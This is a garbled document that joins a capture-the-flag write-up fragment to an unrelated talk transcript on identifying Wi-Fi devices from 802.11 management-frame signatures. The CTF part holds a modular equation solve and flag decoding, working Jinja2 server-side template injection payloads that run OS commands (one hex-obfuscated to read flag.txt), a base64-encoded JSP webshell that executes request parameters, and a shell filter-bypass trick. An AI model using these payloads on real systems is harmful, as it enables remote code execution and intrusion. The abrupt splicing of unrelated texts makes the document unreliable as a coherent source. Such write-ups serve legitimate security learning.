136+b8+b144+b0+b156+b246+b162+b240+b172+b232+b180+b222+b186+b216+b203==0,b77+b
61+b95+b55+b101+b49+b107+b37+b121+b27+b131+b19+b137+b9+b145+b1+b157+b247+b163+
b241+b173+b233+b181+b223+b187+b217+b204==0,b78+b62+b96+b56+b102+b50+b108+b38+b
122+b28+b132+b20+b138+b10+b146+b2+b158+b248+b164+b242+b174+b234+b182+b224+b188
+b218+b205==1,b79+b63+b97+b57+b103+b51+b109+b39+b123+b29+b133+b21+b139+b11+b14
7+b3+b159+b249+b165+b243+b175+b235+b183+b225+b189+b219+b206==0,b80+b64+b98+b58
+b104+b52+b110+b40+b124+b30+b134+b22+b140+b12+b148+b4+b160+b250+b166+b244+b176
+b236+b184+b226+b190+b220+b207==0,b81+b65+b99+b59+b105+b53+b111+b41+b125+b31+b
135+b23+b141+b13+b149+b5+b161+b251+b167+b245+b177+b237+b185+b227+b191+b221+b20
8==0,b82+b66+b100+b60+b106+b54+b112+b42+b126+b32+b136+b24+b142+b14+b150+b6+b16
2+b252+b168+b246+b178+b238+b186+b228+b192+b222+b209==0,b83+b67+b101+b61+b107+b
55+b113+b43+b127+b33+b137+b25+b143+b15+b151+b7+b163+b253+b169+b247+b179+b239+b
187+b229+b193+b223+b210==1,b84+b68+b102+b62+b108+b56+b114+b44+b128+b34+b138+b2
6+b144+b16+b152+b8+b164+b254+b170+b248+b180+b240+b188+b230+b194+b224+b211==1,b
85+b69+b103+b63+b109+b57+b115+b45+b129+b35+b139+b27+b145+b17+b153+b9+b165+b255
+b171+b249+b181+b241+b189+b231+b195+b225+b212==1,b86+b70+b104+b64+b110+b58+b11
6+b46+b130+b36+b140+b28+b146+b18+b154+b10+b166+b0+b172+b250+b182+b242+b190+b23
2+b196+b226+b213==1,b87+b71+b105+b65+b111+b59+b117+b47+b131+b37+b141+b29+b147+
b19+b155+b11+b167+b1+b173+b251+b183+b243+b191+b233+b197+b227+b214==0,b88+b72+b
106+b66+b112+b60+b118+b48+b132+b38+b142+b30+b148+b20+b156+b12+b168+b2+b174+b25
2+b184+b244+b192+b234+b198+b228+b215==1,b89+b73+b107+b67+b113+b61+b119+b49+b13
3+b39+b143+b31+b149+b21+b157+b13+b169+b3+b175+b253+b185+b245+b193+b235+b199+b2
29+b216==1,b90+b74+b108+b68+b114+b62+b120+b50+b134+b40+b144+b32+b150+b22+b158+
b14+b170+b4+b176+b254+b186+b246+b194+b236+b200+b230+b217==1,b91+b75+b109+b69+b
115+b63+b121+b51+b135+b41+b145+b33+b151+b23+b159+b15+b171+b5+b177+b255+b187+b2
47+b195+b237+b201+b231+b218==0,b92+b76+b110+b70+b116+b64+b122+b52+b136+b42+b14
6+b34+b152+b24+b160+b16+b172+b6+b178+b0+b188+b248+b196+b238+b202+b232+b219==1,
b93+b77+b111+b71+b117+b65+b123+b53+b137+b43+b147+b35+b153+b25+b161+b17+b173+b7
+b179+b1+b189+b249+b197+b239+b203+b233+b220==1,b94+b78+b112+b72+b118+b66+b124+
b54+b138+b44+b148+b36+b154+b26+b162+b18+b174+b8+b180+b2+b190+b250+b198+b240+b2
04+b234+b221==0,b95+b79+b113+b73+b119+b67+b125+b55+b139+b45+b149+b37+b155+b27+
b163+b19+b175+b9+b181+b3+b191+b251+b199+b241+b205+b235+b222==0,b96+b80+b114+b7
4+b120+b68+b126+b56+b140+b46+b150+b38+b156+b28+b164+b20+b176+b10+b182+b4+b192+
b252+b200+b242+b206+b236+b223==0,b97+b81+b115+b75+b121+b69+b127+b57+b141+b47+b
151+b39+b157+b29+b165+b21+b177+b11+b183+b5+b193+b253+b201+b243+b207+b237+b224=
=0,b98+b82+b116+b76+b122+b70+b128+b58+b142+b48+b152+b40+b158+b30+b166+b22+b178
+b12+b184+b6+b194+b254+b202+b244+b208+b238+b225==0,b99+b83+b117+b77+b123+b71+b
129+b59+b143+b49+b153+b41+b159+b31+b167+b23+b179+b13+b185+b7+b195+b255+b203+b2
45+b209+b239+b226==0,b100+b84+b118+b78+b124+b72+b130+b60+b144+b50+b154+b42+b16
0+b32+b168+b24+b180+b14+b186+b8+b196+b0+b204+b246+b210+b240+b227==1,b101+b85+b
119+b79+b125+b73+b131+b61+b145+b51+b155+b43+b161+b33+b169+b25+b181+b15+b187+b9
+b197+b1+b205+b247+b211+b241+b228==0,b102+b86+b120+b80+b126+b74+b132+b62+b146+
b52+b156+b44+b162+b34+b170+b26+b182+b16+b188+b10+b198+b2+b206+b248+b212+b242+b
229==1,b103+b87+b121+b81+b127+b75+b133+b63+b147+b53+b157+b45+b163+b35+b171+b27
+b183+b17+b189+b11+b199+b3+b207+b249+b213+b243+b230==1,b104+b88+b122+b82+b128+
b76+b134+b64+b148+b54+b158+b46+b164+b36+b172+b28+b184+b18+b190+b12+b200+b4+b20
8+b250+b214+b244+b231==0,b105+b89+b123+b83+b129+b77+b135+b65+b149+b55+b159+b47
+b165+b37+b173+b29+b185+b19+b191+b13+b201+b5+b209+b251+b215+b245+b232==1,b106+
b90+b124+b84+b130+b78+b136+b66+b150+b56+b160+b48+b166+b38+b174+b30+b186+b20+b1
92+b14+b202+b6+b210+b252+b216+b246+b233==1,b107+b91+b125+b85+b131+b79+b137+b67
+b151+b57+b161+b49+b167+b39+b175+b31+b187+b21+b193+b15+b203+b7+b211+b253+b217+
b247+b234==0,b108+b92+b126+b86+b132+b80+b138+b68+b152+b58+b162+b50+b168+b40+b1
76+b32+b188+b22+b194+b16+b204+b8+b212+b254+b218+b248+b235==1,b109+b93+b127+b87
+b133+b81+b139+b69+b153+b59+b163+b51+b169+b41+b177+b33+b189+b23+b195+b17+b205+
b9+b213+b255+b219+b249+b236==0,b110+b94+b128+b88+b134+b82+b140+b70+b154+b60+b1
64+b52+b170+b42+b178+b34+b190+b24+b196+b18+b206+b10+b214+b0+b220+b250+b237==1,
b111+b95+b129+b89+b135+b83+b141+b71+b155+b61+b165+b53+b171+b43+b179+b35+b191+b
25+b197+b19+b207+b11+b215+b1+b221+b251+b238==1,b112+b96+b130+b90+b136+b84+b142
+b72+b156+b62+b166+b54+b172+b44+b180+b36+b192+b26+b198+b20+b208+b12+b216+b2+b2
22+b252+b239==1,b113+b97+b131+b91+b137+b85+b143+b73+b157+b63+b167+b55+b173+b45
+b181+b37+b193+b27+b199+b21+b209+b13+b217+b3+b223+b253+b240==0,b114+b98+b132+b
92+b138+b86+b144+b74+b158+b64+b168+b56+b174+b46+b182+b38+b194+b28+b200+b22+b21
0+b14+b218+b4+b224+b254+b241==1,b115+b99+b133+b93+b139+b87+b145+b75+b159+b65+b
169+b57+b175+b47+b183+b39+b195+b29+b201+b23+b211+b15+b219+b5+b225+b255+b242==0
,b116+b100+b134+b94+b140+b88+b146+b76+b160+b66+b170+b58+b176+b48+b184+b40+b196
+b30+b202+b24+b212+b16+b220+b6+b226+b0+b243==0,b117+b101+b135+b95+b141+b89+b14
7+b77+b161+b67+b171+b59+b177+b49+b185+b41+b197+b31+b203+b25+b213+b17+b221+b7+b
227+b1+b244==1,b118+b102+b136+b96+b142+b90+b148+b78+b162+b68+b172+b60+b178+b50
+b186+b42+b198+b32+b204+b26+b214+b18+b222+b8+b228+b2+b245==1,b119+b103+b137+b9
7+b143+b91+b149+b79+b163+b69+b173+b61+b179+b51+b187+b43+b199+b33+b205+b27+b215
+b19+b223+b9+b229+b3+b246==1,b120+b104+b138+b98+b144+b92+b150+b80+b164+b70+b17
4+b62+b180+b52+b188+b44+b200+b34+b206+b28+b216+b20+b224+b10+b230+b4+b247==0,b1
21+b105+b139+b99+b145+b93+b151+b81+b165+b71+b175+b63+b181+b53+b189+b45+b201+b3
5+b207+b29+b217+b21+b225+b11+b231+b5+b248==0,b122+b106+b140+b100+b146+b94+b152
+b82+b166+b72+b176+b64+b182+b54+b190+b46+b202+b36+b208+b30+b218+b22+b226+b12+b
232+b6+b249==1,b123+b107+b141+b101+b147+b95+b153+b83+b167+b73+b177+b65+b183+b5
5+b191+b47+b203+b37+b209+b31+b219+b23+b227+b13+b233+b7+b250==0,b124+b108+b142+
b102+b148+b96+b154+b84+b168+b74+b178+b66+b184+b56+b192+b48+b204+b38+b210+b32+b
220+b24+b228+b14+b234+b8+b251==1,b125+b109+b143+b103+b149+b97+b155+b85+b169+b7
5+b179+b67+b185+b57+b193+b49+b205+b39+b211+b33+b221+b25+b229+b15+b235+b9+b252=
=1,b126+b110+b144+b104+b150+b98+b156+b86+b170+b76+b180+b68+b186+b58+b194+b50+b
206+b40+b212+b34+b222+b26+b230+b16+b236+b10+b253==0,b127+b111+b145+b105+b151+b
99+b157+b87+b171+b77+b181+b69+b187+b59+b195+b51+b207+b41+b213+b35+b223+b27+b23
1+b17+b237+b11+b254==1,b128+b112+b146+b106+b152+b100+b158+b88+b172+b78+b182+b7
0+b188+b60+b196+b52+b208+b42+b214+b36+b224+b28+b232+b18+b238+b12+b255==0},
{b0,b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12,b13,b14,b15,b16,b17,b18,b19,b20,b21
,b22,b23,b24,b25,b26,b27,b28,b29,b30,b31,b32,b33,b34,b35,b36,b37,b38,b39,b40,b
41,b42,b43,b44,b45,b46,b47,b48,b49,b50,b51,b52,b53,b54,b55,b56,b57,b58,b59,b60
,b61,b62,b63,b64,b65,b66,b67,b68,b69,b70,b71,b72,b73,b74,b75,b76,b77,b78,b79,b
80,b81,b82,b83,b84,b85,b86,b87,b88,b89,b90,b91,b92,b93,b94,b95,b96,b97,b98,b99
,b100,b101,b102,b103,b104,b105,b106,b107,b108,b109,b110,b111,b112,b113,b114,b1
15,b116,b117,b118,b119,b120,b121,b122,b123,b124,b125,b126,b127,b128,b129,b130,
b131,b132,b133,b134,b135,b136,b137,b138,b139,b140,b141,b142,b143,b144,b145,b14
6,b147,b148,b149,b150,b151,b152,b153,b154,b155,b156,b157,b158,b159,b160,b161,b
162,b163,b164,b165,b166,b167,b168,b169,b170,b171,b172,b173,b174,b175,b176,b177
,b178,b179,b180,b181,b182,b183,b184,b185,b186,b187,b188,b189,b190,b191,b192,b1
93,b194,b195,b196,b197,b198,b199,b200,b201,b202,b203,b204,b205,b206,b207,b208,
b209,b210,b211,b212,b213,b214,b215,b216,b217,b218,b219,b220,b221,b222,b223,b22
4,b225,b226,b227,b228,b229,b230,b231,b232,b233,b234,b235,b236,b237,b238,b239,b
240,b241,b242,b243,b244,b245,b246,b247,b248,b249,b250,b251,b252,b253,b254,b255
}, Modulus->2]
Mathematica output:
{{b0 -> 0, b1 -> 1, b2 -> 1, b3 -> 0, b4 -> 0, b5 -> 0, b6 -> 1,
b7 -> 0, b8 -> 0, b9 -> 1, b10 -> 1, b11 -> 0, b12 -> 1, b13 -> 0,
b14 -> 0, b15 -> 0, b16 -> 0, b17 -> 1, b18 -> 0, b19 -> 1,
b20 -> 1, b21 -> 1, b22 -> 0, b23 -> 1, b24 -> 0, b25 -> 1,
b26 -> 1, b27 -> 0, b28 -> 0, b29 -> 0, b30 -> 1, b31 -> 1,
b32 -> 0, b33 -> 1, b34 -> 1, b35 -> 1, b36 -> 0, b37 -> 1,
b38 -> 1, b39 -> 1, b40 -> 0, b41 -> 1, b42 -> 0, b43 -> 1,
b44 -> 0, b45 -> 1, b46 -> 0, b47 -> 1, b48 -> 0, b49 -> 1,
b50 -> 1, b51 -> 0, b52 -> 1, b53 -> 0, b54 -> 1, b55 -> 1,
b56 -> 0, b57 -> 1, b58 -> 0, b59 -> 1, b60 -> 0, b61 -> 0,
b62 -> 0, b63 -> 1, b64 -> 0, b65 -> 1, b66 -> 0, b67 -> 1,
b68 -> 1, b69 -> 0, b70 -> 0, b71 -> 0, b72 -> 0, b73 -> 0,
b74 -> 1, b75 -> 1, b76 -> 1, b77 -> 1, b78 -> 1, b79 -> 1,
b80 -> 0, b81 -> 0, b82 -> 1, b83 -> 1, b84 -> 0, b85 -> 0,
b86 -> 0, b87 -> 0, b88 -> 0, b89 -> 1, b90 -> 1, b91 -> 0,
b92 -> 1, b93 -> 0, b94 -> 1, b95 -> 0, b96 -> 0, b97 -> 0,
b98 -> 1, b99 -> 0, b100 -> 1, b101 -> 0, b102 -> 1, b103 -> 1,
b104 -> 0, b105 -> 1, b106 -> 1, b107 -> 0, b108 -> 1, b109 -> 1,
b110 -> 1, b111 -> 1, b112 -> 0, b113 -> 0, b114 -> 1, b115 -> 0,
b116 -> 1, b117 -> 1, b118 -> 0, b119 -> 0, b120 -> 0, b121 -> 0,
b122 -> 1, b123 -> 0, b124 -> 1, b125 -> 1, b126 -> 0, b127 -> 1,
b128 -> 0, b129 -> 1, b130 -> 0, b131 -> 1, b132 -> 0, b133 -> 0,
b134 -> 1, b135 -> 0, b136 -> 0, b137 -> 1, b138 -> 1, b139 -> 0,
b140 -> 0, b141 -> 0, b142 -> 0, b143 -> 1, b144 -> 0, b145 -> 0,
b146 -> 1, b147 -> 0, b148 -> 0, b149 -> 0, b150 -> 0, b151 -> 1,
b152 -> 0, b153 -> 1, b154 -> 1, b155 -> 0, b156 -> 0, b157 -> 0,
b158 -> 1, b159 -> 0, b160 -> 0, b161 -> 0, b162 -> 1, b163 -> 0,
b164 -> 1, b165 -> 1, b166 -> 0, b167 -> 1, b168 -> 0, b169 -> 1,
b170 -> 0, b171 -> 0, b172 -> 1, b173 -> 0, b174 -> 1, b175 -> 0,
b176 -> 0, b177 -> 1, b178 -> 1, b179 -> 0, b180 -> 0, b181 -> 1,
b182 -> 0, b183 -> 1, b184 -> 0, b185 -> 1, b186 -> 1, b187 -> 1,
b188 -> 0, b189 -> 0, b190 -> 0, b191 -> 0, b192 -> 0, b193 -> 1,
b194 -> 1, b195 -> 0, b196 -> 0, b197 -> 0, b198 -> 0, b199 -> 1,
b200 -> 0, b201 -> 1, b202 -> 0, b203 -> 1, b204 -> 1, b205 -> 0,
b206 -> 1, b207 -> 1, b208 -> 0, b209 -> 1, b210 -> 0, b211 -> 0,
b212 -> 0, b213 -> 0, b214 -> 1, b215 -> 0, b216 -> 0, b217 -> 0,
b218 -> 1, b219 -> 0, b220 -> 1, b221 -> 1, b222 -> 0, b223 -> 1,
b224 -> 0, b225 -> 1, b226 -> 1, b227 -> 0, b228 -> 0, b229 -> 0,
b230 -> 0, b231 -> 1, b232 -> 0, b233 -> 0, b234 -> 1, b235 -> 0,
b236 -> 1, b237 -> 1, b238 -> 0, b239 -> 1, b240 -> 0, b241 -> 1,
b242 -> 1, b243 -> 0, b244 -> 0, b245 -> 0, b246 -> 0, b247 -> 0,
b248 -> 0, b249 -> 1, b250 -> 1, b251 -> 1, b252 -> 1, b253 -> 0,
b254 -> 0, b255 -> 1}}
Input the above string to the application and the flag will be prompted:
Web
mine1_1
mine2
>>>
hex(0b011000100110100001011101011000110111011101010101011010110101000101011000
001111110011000001101010001010110110111100101100001011010101001001100001001000
010110001000101101010010100110010101110000011000010101101101000010001011010110
0001001011010110000001111001)
'0x62685d6377556b51583f306a2b6f2c2d526121622d4a6570615b422d612d6079'
>>> from binascii import unhexlify
>>>
unhexlify('62685d6377556b51583f306a2b6f2c2d526121622d4a6570615b422d612d6079')
[::-1]
b'y`-a-B[apeJ-b!aR-,o+j0?XQkUwc]hb'
flag{YoU\C4n/s01Ve%f1Nite_F1e1d}
{{((1)|attr(request.values.class)|attr(request.values.mro))|attr(request.value
s.getitem)(1)|attr(request.values.subclasses)()|attr(request.values.getitem)
(59)|attr(request.values.init)|attr(request.values.globals)|attr(request.value
s.getitem)(request.values.builtins)|attr(request.values.getitem)
(request.values.eval)(request.values.command)}}
class=__class__&mro=__mro__&subclasses=__subclasses__&getitem=__getitem__&init
=__init__&globals=__globals__&builtins=__builtins__&eval=eval&command=__import
__('os').popen('id').read()
{%print(%221%22|attr(%22\x5f\x5fclass\x5f\x5f%22)|attr(%22\x5f\x5fbase\x5f\x5f
%22)|attr(%22\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%22)
()|attr(%22\x5f\x5f\x67etitem\x5f\x5f%22)
(81)|attr(%22\x5f\x5finit\x5f\x5f%22)|attr(%22\x5f\x5f\x67lobals\x5f\x5f%22)|a
ttr(%22\x5f\x5f\x67etitem\x5f\x5f%22)
(%22\x5f\x5fb\x75iltins\x5f\x5f%22)|attr(%22\x5f\x5f\x67etitem\x5f\x5f%22)
(%22eval%22)
(%22\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f(\x22\x6f\x73\x22)\x2e\x70\x6f\x70
\x65\x6e(\x22\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x22)\x2e\x72\x65
\x61\x64()%22))%}
pyer
sqlmap
ssti
webshell_1
hids
unicode bypass
PCVqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0PVJ1bnRpbWUuZ2V0UnVudGltZSgpLlx1MDA2NVx1MD
A3OFx1MDA2NVx1MDA2MyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiMDIzIikpLmdldElucHV0U3RyZWFt
KCk7aW50IGxlbj0tMTtieXRlW10gYnl0ZXM9bmV3IGJ5dGVbNDA5Ml07b3V0LnByaW50KCI8cHJlPi
IpO3doaWxlICgobGVuID0gaW5wdXQucmVhZChieXRlcykpICE9IC0xKSB7b3V0LnByaW50bG4obmV3
IFN0cmluZyhieXRlcykpO291dC5wcmludCgiPC9wcmU+Iik7fSU+
$(printf "ls /")=>$(printf$IFS"\154\163\040\057")
/detect.pykillshell | pdf |
I Know What
You Are By the
Smell of Your
Wi-Fi
Denton Gentry
@dgentry
[email protected]
We’re here today to talk about a mechanism which identifies the type of device
connecting to a Wi-Fi network. It can be quite specific: it can tell the difference
between an iPhone 5 and an iPhone 5s, between a Samsung Galaxy S7 and an S8,
between a Withings scale and a Nest Thermostat.
Classically, this kind of client detection would be called “fingerprinting” like the OS
fingerprinting mechanisms in nmap. However, in current usage the term
“fingerprinting” has evolved to mean identification of specific users, such as browser
fingerprinting to identify an individual person. Also, well, the word fingerprint kindof
means an individual’s fingers.
As the mechanism discussed here identifies the species of the device, not the unique
individual, we refer to it as Wi-Fi Taxonomy. It identifies a species. We’ll get a chance
to try it in the last few minutes, during some time for questions.
0:50
MAC Sublayer Management Entity (MLME)
Probe Request: Asks nearby APs to respond.
Association Request: join the Wi-Fi network
Probe Request
Association Request
Probe Response
Association Response
The mechanism works by examining Wi-Fi Management frames, called MLME
frames. These frames are used to join, leave, and configure the Wi-Fi network. They
are not TCP/IP packets, they are not routable and they do not leave the Wi-Fi
network.
We’ll focus on two specific frames:
1.
Probe Request, where a client can ask all nearby Access Points or one
specific AP to respond. The client includes information about itself and its
capabilities in the request, and the AP can respond with its own capabilities in
the response.
2.
We’ll also look at the Association Request, when a client joins a Wi-Fi network.
The client includes many of the same capabilities as in the Probe Request,
plus a few more.
There are a bunch of other types of MLME frames, like the Authentication frame or
Action frames to adjust various parameters, but the Taxonomy mechanism we’re
talking about today relies on these two.
0:50
Signature: Information Elements
Tag #0
Tag #1
Tag #33
Tag #36
Tag #48
Tag #70
Tag #45
Tag #191
Tag #221, Vendor OUI 00:17:f2, #10
Tag #221, Vendor OUI 00:10:18, #2
Tag #221, Vendor OUI 00:50:f2, #2
0,1,33,36,48,70,45,191,
221(0017f2,10),221(0010
18,2),221(0050f2,2)
Information Elements are Type-Length-Value tuples packed one after the other in the
management frame. They are all optional, though in practice a few are universal
because Wi-Fi can’t really work without them. Each Wi-Fi standard has added more
Information Elements. In 802.11b days there were very few. dot11g added a few,
dot11n and ac added a bunch more, and so on.
In addition to the standard elements, there is a mechanism for vendors to define their
own. Vendor extensions are type 221 with an ID of the vendor called the
Organizationally Unique Identifier or OUI. This is followed by a subtype so the vendor
can define multiple extensions. Because the Length provides enough information to
skip over the IE, any Wi-Fi device can interoperate whether it understands the vendor
extensions or not. It can skip over those it doesn’t implement.
This is the Association Request from an iPhone 7+, as broken out by Wireshark. The
Association Request includes the SSID the client wants to join, information about its
supported rates and channels, about its power levels and radio management
capabilities, plus three vendor extensions from Microsoft, Broadcom, and Apple.
A few of the vendor extensions are extremely widespread. The Microsoft extension
shown above is for prioritization, and it’s widely present even on devices not running
any kind of Windows OS. The Broadcom vendor extension is also very widespread,
owing to how common Broadcom chipsets are. The Apple extension shown here was
added in iOS 10.2.
The signature lists the tag numbers of the IEs present in the frame, in the order they
appear, as a text string of decimal numbers. For vendor extensions it additionally
includes the OUI of the vendor and the subtype. For this first part of the signature, we
end up with the text string shown in red.
This part of the signature is most strongly influenced by the OS of the client device,
where the client Wi-Fi stack is implemented.
It is next most strongly influenced by the Wi-Fi chipset, both in terms of the standards
it supports and for any vendor extensions implemented by that vendor in their driver.
2:10
Signature: Capability bitmasks
Transmit power
HT Capabilities bitmask (802.11n)
VHT Capabilities bitmask (802.11ac)
0,1,33,36,48,70,45,191,221
(0017f2,10),221(001018,2),
221(0050f2,2),txpow:13f9,
htcap:006f,vhtcap:0f811032
In addition to the tag numbers, a few of the Information Elements contain capability
bitmasks or other information which is useful in identifying the device. For example:
●
802.11n defines 16 bits of optional capabilities, dot11ac defines another 32
bits. This is most strongly influenced by the chipset, and the subset of the
standard implemented by that ASIC.
●
The TX Power IE depends strongly on the board design, in how the antennas
are laid out. Two devices built by the same manufacturer, using the same
software and the same Wi-Fi chipset will often have different TX Power values
because their boards are different.
●
The number of antennas is encoded in the dot11n and ac capabilities, and is
also indicative of a board design.
●
There is an Extended Capabilities bitmask containing even more optional
elements. It is most strongly influenced by the driver and WPA supplicant
software.
A number of the capability bitmasks are appended to the signature to further
differentiate it, as shown in red here.
1:00
Distinctiveness Over Time
iPhone, 2007
0,1,48,50
iPhone 4s, 2011
0,1,48,50,45,221(001018,2),221(00904c,51),221(0050f2,2),
htcap:0100,htagg:19,htmcs:000000ff
iPhone 7, 2016
0,1,33,36,48,70,54,45,127,191,199,221(0017f2,10),221(001
018,2),221(0050f2,2),htcap:006f,htagg:17,htmcs:0000ffff,
vhtcap:0f811032,vhtrxmcs:0000fffa,vhttxmcs:0000fffa,txpo
w:13f9,extcap:000008
Looking at the signature as we’ve discussed it so far, it has become more complex
over time. This shows the Association Request portion of the signatures for three
devices.
The first is from an original iPhone, which is a dot11g device. The Taxonomy
mechanism really wouldn’t have worked in that timeframe, there was almost no
differentiation in the contents of MLME frames.
iPhone 4s is an dot11n device, introduced about 4 years later. It adds a number of
options to its management frames.
iPhone 7 is from about 5 years after that, and is an dot11ac device. It added even
more.
0:40
Signatures in their Final Form
Xbox One
wifi4|probe:0,1,45,50,htcap:058f,htagg:03,htmcs:0000ffff|assoc:0,1,33
,36,221(0050f2,2),45,htcap:058f,htagg:03,htmcs:0000ffff,txpow:1208
Nest Thermostat v3
wifi4|probe:0,1,45,221(001018,2),221(00904c,51),htcap:0062,htagg:1a,h
tmcs:000000ff|assoc:0,1,33,36,48,45,221(001018,2),221(00904c,51),221(
0050f2,2),htcap:0062,htagg:1a,htmcs:000000ff,txpow:0f09
Chromecast v1
wifi4|probe:0,1,3,45,50,htcap:0120,htagg:03,htmcs:00000000|assoc:0,1,
48,50,127,221(0050f2,2),45,htcap:012c,htagg:03,htmcs:000000ff,extcap:
0000000000000140
The full signature contains the list of IEs and the various bitmasks from each of the
Probe Request and the Association Request, separated by a pipe. The whole thing is
prefaced by “wifi4” as this is the fourth iteration on the signature format. Including the
prefix allowed the wifi1, 2, and 3 signatures to remain in the database while updating.
We shall speak no more of the earlier three formats.
When you include all of this into the signature, it ends up being quite distinctive and
allows us to identify what the device is.
0:25
Mobile Only!
Taxonomy identifies the Wi-Fi circuitry, device driver, and OS.
●
Works for highly integrated devices: mobile and IOT.
●
With a Wi-Fi card in a laptop... it identifies the card.
The taxonomy signature is influenced by the client OS, by its Wi-Fi chipset, and its
board layout. The current database of signatures identifies the most common Wi-Fi
devices: overwhelmingly phones nowadays. We have signatures for most widely sold
phones and tablet devices of the last few years, and a selection of other types of
devices like:
●
Media streaming devices from Google, Apple, Roku, Amazon, et cetera
●
Internet of Things devices from Nest, Honeywell, Withings, and so forth
For larger devices like laptops and desktops which use a separate Wi-Fi card: this
mechanism identifies the card. We had signatures from some laptop and desktop
devices, but it was kindof ridiculous.
●
One model of Apple Airport Extreme card could be a MacBook, or iMac, or
Mac Pro. Pretty much that entire generation of machines, we couldn’t
distinguish them using this mechanism.
●
Intel Centrino chipsets as used in Windows laptops are even less distinctive. It
could be almost anything.
So at this point, we don’t even try and we don’t add signatures from laptops or
desktops into the database. It tends to just result in confusion, and it isn’t useful.
Additionally, there are a few classes of device which we choose not to gather
signatures for:
●
We only want to focus on common devices, things which a lot of people are
likely to have. We use lists of top-selling electronics to target what we want to
gather signatures for. If it is something unique or only in very low volume, we
don’t really want to add it to the database.
●
We don’t put in labels for things which might make someone uncomfortable if
they see it in the UI on their router. That includes medical devices, devices of
an adult nature, home incarceration monitoring, and so on.
1:50
Multiple Signatures
wifi4|probe:0,1,45,221(0050f2,8),191,127,htcap:01ef,htagg:1f,htmcs:0000ff
ff,vhtcap:339071b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000000000
0004080|assoc:0,1,48,45,221(0050f2,2),191,127,htcap:01ef,htagg:1f,htmcs:0
000ffff,vhtcap:339071b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000a
020100004080
wifi4|probe:0,1,45,221(0050f2,8),191,127,htcap:01ef,htagg:1f,htmcs:0000ff
ff,vhtcap:339031b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000000000
0004080|assoc:0,1,48,45,221(0050f2,2),191,127,htcap:01ef,htagg:1f,htmcs:0
000ffff,vhtcap:339031b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000a
020100004080
Many devices have been seen to emit more than one signature and so there is more
than one entry for them in the database.
For devices which support both 2.4 and 5 GHz operation, the signatures are almost
always distinct.
●
there are Information Elements which are only defined for one or the other
●
the whole of dot11ac is only defined for 5GHz.
So for devices which support both bands, we always capture signatures from each
band.
However even in the same band, devices often have multiple signatures. They vary
what they advertise based on local conditions like noise.
This example shows two signatures seen from a Google Pixel Phone. It varies its
handling of beamforming, presumably based on the noise environment it sees.
0:50
Feedback loop with AP
Probe Request
Association Request
Probe Response
wifi4|probe:0,1,45,
221(0050f2,8),191,1
27,htcap:016f,htagg
:1f,htmcs:000000ff,
vhtcap:33907132,vht
rxmcs:0186fffe,vhtt
xmcs:0186fffe,extca
p:04000000000000408
0|assoc:0,1,33,36,4
8,70,45,221(0050f2,
2),191,127,htcap:01
6f,...
Clients can also behave differently depending on what the AP says in response to
their Probe Request. For example:
●
If the AP says it supports Radio Resource Management, most Apple and
some Android devices will include a Spectrum Management IE in their
Association Request (it’s #70, in red above).
●
Another example: though dot11ac is only defined for 5 GHz, many vendors
have a proprietary implementation which handles 2.4GHz as well. For some
chipsets we see it in the Probe Request, but only in the Association if it sees
the right response from the AP.
When capturing signatures for the database, we use three different APs to maximize
the chances of capturing different signatures.
1:00
Signature Aliasing
Amazon Dash Button
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
First Alert Thermostat
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Nexus 7 (2012 edition)
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Roku HD
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Withings Scale
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Sometimes we see the same signature from multiple devices.
These examples are all devices using the Broadcom 43362 chipset, running Linux,
with the same driver, the same wpa_supplicant, and old enough that none of them
provide a TX Power IE. The signatures are identical: an Amazon Dash Button, a First
Alert Thermostat, a Nexus 7, Roku HD, and Withings Scale.
0:30
Signature Disambiguation
Amazon Dash Button
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:amazon
First Alert Thermostat
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:firstalert
Nexus 7 (2012 edition)
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:asus
Roku HD
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|os:roku
Withings Scale
